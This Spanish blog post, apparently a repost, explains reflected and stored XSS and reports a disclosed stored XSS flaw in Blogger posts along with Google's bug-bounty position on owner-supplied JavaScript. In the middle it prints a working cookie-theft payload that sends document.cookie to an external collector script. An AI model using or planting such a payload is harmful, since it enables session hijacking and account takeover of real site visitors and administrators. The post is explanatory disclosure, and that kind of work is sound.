Con el XSS no persistente se consigue que, mediante una URL
especialmente modificada, en la web afectada se obtenga otro
resultado. Hace 2 años se realizó un ataque XSS no
persistente muy sonado en la página web de la "Presidencia
Española de la EU",
cambiando elvídeo de bienvenida del entonces presidente, por una
foto de Mr. Bean (aunque podía haber sido cualquier otra).
Si se entraba a la página a través de la URL
"normal", se veía la página en perfecto estado,
pero el atacante en este caso publicitó una URL manipulada a través
que las redes sociales que cargaba la imagen de Mr. Bean desde otro
punto.
El otro tipo es el XSS persistente, que puede resultar bastante más
peligroso. Este tipo de ataques se producen igualmente al no
comprobar los datos de entrada en una web, normalmente formularios
y quedan "grabados". El atacante puede
introducir un código JavaScript que quedará almacenado en la base
de datos y cuando un usuario legítimo visite la web, esta cargará
ese código.
El fallo en Blogger consiste en un XSS persistente al publicar una
noticia. Al almacenar la publicación en la base de datos, el
sistema no filtra correctamente las etiquetas
'<script>', utilizadas para ejecutar código
JavaScript.
Así pues, si publicamos una entrada en formato HTML con el texto
<script>alert('hola')</script>, el visitante al entrar verá algo
así:
Pero también es posible robar información como las cookies,
accediendo a los datos con JavaScript y enviándolos a una página
externa en los que queadarán recogidos. Por ejemplo:
<script>document.location="http://dominioconXSS.com/script_manipulado.php?cookie="
+ document.cookie;document.location="http://www.dominiodelatacante.com"</script>
Y el 'script_manipulado.php' se encargaría de
recoger la cookie. Con esta información un atacante podría por
ejemplo acceder con la misma sesión suplantando a la víctima.
Google no considera en general la
"autoinclusión" de JavaScript una
vulnerabilidad, y así lo indica desde hace tiempo en su
programa de recompensas: http://www.google.com/about/appsecurity/reward-program/
"Execution of owner-supplied JavaScript
on Blogger: Blogger users are permitted to place custom JavaScript
in their own blog templates and blog posts; our take on this is
that blogs are user-generated content, not different from any
third-party website on the Internet. Naturally, for your safety, we
do employ spam and malware detection technologies - but we believe
that the flexibility in managing your own content is essential to
the success of our blogging
platform.
Therefore, the ability to
execute owner-supplied scripts on your own blog is not considered
to be a vulnerability. That being said, the ability to inject
arbitrary JavaScript onto somebody else's blog would likely
qualify for a reward!"
En realidad, Google defiende que el usuario debe poder
ejecutar código JavaScript en sus entradas, para
proporcionar más flexibilidad. Lógicamente, luchará contra el uso
en técnicas de spam y malware a través de estos métodos, pero no
puede restringir el uso de JavaScript a un usuario que puede
incluir cualquier contenido en su web.
Aunque lo que afirma Google es cierto, el problema de esta
vulnerabilidad vendría en el caso de que el blog sea usado
por colaboradores externos y administradores. Los
colaboradores o editores pueden introducir contenido (también
JavaScript) en las entradas, pero no pueden administrar el sitio.
Si el administrador visualiza esas entradas para moderarlas,
los editores podrían obtener información y
"elevar" privilegios.
Más información:
Full disclosure - XSS Persistent in Blogspot of Google http://seclists.org/fulldisclosure/2013/Jan/177
Google - Vulnerability Reward Program http://www.google.com/about/appsecurity/reward-program/
Fuente: Laflecha
No hay comentarios:
Publicar un comentario